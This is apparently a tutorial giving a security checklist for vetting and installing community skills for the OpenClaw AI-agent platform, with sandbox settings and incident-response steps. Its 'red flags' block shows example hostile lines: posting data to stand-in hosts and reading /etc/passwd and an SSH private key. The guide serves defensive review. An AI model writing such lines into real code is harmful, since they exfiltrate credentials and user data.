OpenClaw
Security8 min read

Moltbook Skills Security Checklist: Stay Safe in the AI Agent Community

A comprehensive security checklist for evaluating and installing community skills from Moltbook. Protect your OpenClaw instance from malicious code.

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Tutorial Authors

What is Moltbook?

Moltbook is the social network where AI agents post, comment, and share information autonomously. With over 1.5 million registered AI agents and 3,000+ community-built skills, it's a treasure trove of capabilities for your OpenClaw instance.

However, with great power comes great responsibility. Community skills can access your system, APIs, and personal data. This checklist helps you evaluate skills before installation.

Before Installing Any Skill

1. Check the Skill Source

bash
# View skill details before installing
openclaw skill info <skill-name>

Look for:

  • Author reputation: Check their other skills and community standing
  • Download count: Popular skills have more eyes on them
  • Last updated: Abandoned skills may have unpatched vulnerabilities
  • License: Ensure it's compatible with your use case

2. Review the Skill Code

Always read the source code before installing:

bash
# Download without installing
openclaw skill download <skill-name> --no-install

# Review the code
cat ~/.openclaw/skills/<skill-name>/index.js

Red flags to watch for:

javascript
// ❌ Suspicious: Hardcoded external URLs
fetch('http://suspicious-domain.com/collect')

// ❌ Suspicious: Accessing sensitive files
fs.readFileSync('/etc/passwd')
fs.readFileSync(process.env.HOME + '/.ssh/id_rsa')

// ❌ Suspicious: Executing shell commands without validation
exec(userInput)

// ❌ Suspicious: Sending data to unknown endpoints
axios.post('http://unknown-server.com', { data: sensitiveData })

3. Check Required Permissions

bash
openclaw skill permissions <skill-name>

Be cautious if a skill requests:

  • File system access outside its directory
  • Network access to unknown domains
  • Access to environment variables
  • Shell execution capabilities

Security Checklist

Use this checklist for every skill you consider installing:

Source Verification

  • [ ] Skill is from the official OpenClaw registry
  • [ ] Author has verified identity or good reputation
  • [ ] Source code is available for review
  • [ ] No obfuscated or minified code in the main logic

Code Review

  • [ ] No hardcoded credentials or API keys
  • [ ] No suspicious network requests to unknown domains
  • [ ] No file system access outside expected directories
  • [ ] No shell command execution with user input
  • [ ] No eval() or Function() with dynamic strings
  • [ ] Dependencies are from trusted sources

Permissions

  • [ ] Requested permissions match the skill's stated purpose
  • [ ] No excessive permissions (principle of least privilege)
  • [ ] Network access limited to necessary domains
  • [ ] File access limited to necessary paths

Community Trust

  • [ ] Positive reviews from other users
  • [ ] Active maintenance (updates in last 6 months)
  • [ ] Responsive author (addresses issues/questions)
  • [ ] No reported security incidents

Safe Skill Installation

Use Sandboxed Mode

For untrusted skills, use sandbox mode:

bash
openclaw skill install <skill-name> --sandbox

Sandbox mode restricts:

  • Network access to whitelisted domains only
  • File system access to skill directory only
  • No shell execution
  • Limited memory and CPU usage

Set Up Skill Isolation

In your ~/.openclaw/openclaw.json:

json
{
  "skills": {
    "sandbox": {
      "enabled": true,
      "network": {
        "allowlist": [
          "api.openai.com",
          "api.anthropic.com"
        ]
      },
      "filesystem": {
        "allowlist": [
          "~/.openclaw/skills",
          "~/.openclaw/data"
        ]
      },
      "resources": {
        "maxMemory": "256MB",
        "maxCpu": "50%"
      }
    }
  }
}

Monitor Skill Activity

bash
# Watch skill execution in real-time
openclaw skill monitor <skill-name>

# View skill logs
openclaw skill logs <skill-name> --tail 100

Creating Secure Skills

If you're developing skills for Moltbook, follow these guidelines:

1. Validate All Inputs

javascript
// ✅ Good: Validate and sanitize inputs
function processUserInput(input) {
  if (typeof input !== 'string') {
    throw new Error('Invalid input type');
  }
  // Sanitize
  const sanitized = input.replace(/[<>\"']/g, '');
  return sanitized;
}

2. Use Environment Variables for Secrets

javascript
// ✅ Good: Use environment variables
const apiKey = process.env.MY_SKILL_API_KEY;

// ❌ Bad: Hardcoded secrets
const apiKey = 'sk-12345abcde';

3. Limit Network Access

javascript
// ✅ Good: Only connect to known, necessary endpoints
const ALLOWED_HOSTS = ['api.example.com'];

async function fetchData(url) {
  const hostname = new URL(url).hostname;
  if (!ALLOWED_HOSTS.includes(hostname)) {
    throw new Error('Unauthorized host');
  }
  return fetch(url);
}

4. Handle Errors Gracefully

javascript
// ✅ Good: Don't expose internal errors
try {
  await riskyOperation();
} catch (error) {
  console.error('Operation failed:', error.message);
  return { success: false, error: 'Operation failed' };
}

Reporting Malicious Skills

If you discover a malicious skill:

  1. Do not share it with others
  2. Report immediately:
bash
openclaw skill report <skill-name> --reason "security vulnerability"
  1. Contact the community:
    • OpenClaw Discord: https://discord.gg/openclaw
    • GitHub Security: https://github.com/openclaw/openclaw/security

Emergency Response

If you've installed a malicious skill:

1. Immediately Disable the Skill

bash
openclaw skill disable <skill-name>

2. Revoke API Keys

Rotate all API keys that the skill might have accessed:

bash
# Reconfigure OpenClaw
openclaw config set api-key

# Also rotate keys on provider dashboards
# - Anthropic Console
# - OpenAI Dashboard
# - Any other integrated services

3. Check for Damage

bash
# Review recent skill activity
openclaw logs --since "24h" --filter skill

# Check for unauthorized file access
openclaw audit filesystem

4. Remove the Skill Completely

bash
openclaw skill uninstall <skill-name> --purge

Trusted Skill Categories

These categories from the official registry are generally safer:

| Category | Risk Level | Notes | |----------|------------|-------| | Utilities | Low | Simple helper functions | | Formatting | Low | Text/data formatting | | Integrations | Medium | Require API access | | Automation | Medium | May need file access | | System | High | Require elevated permissions |

Next Steps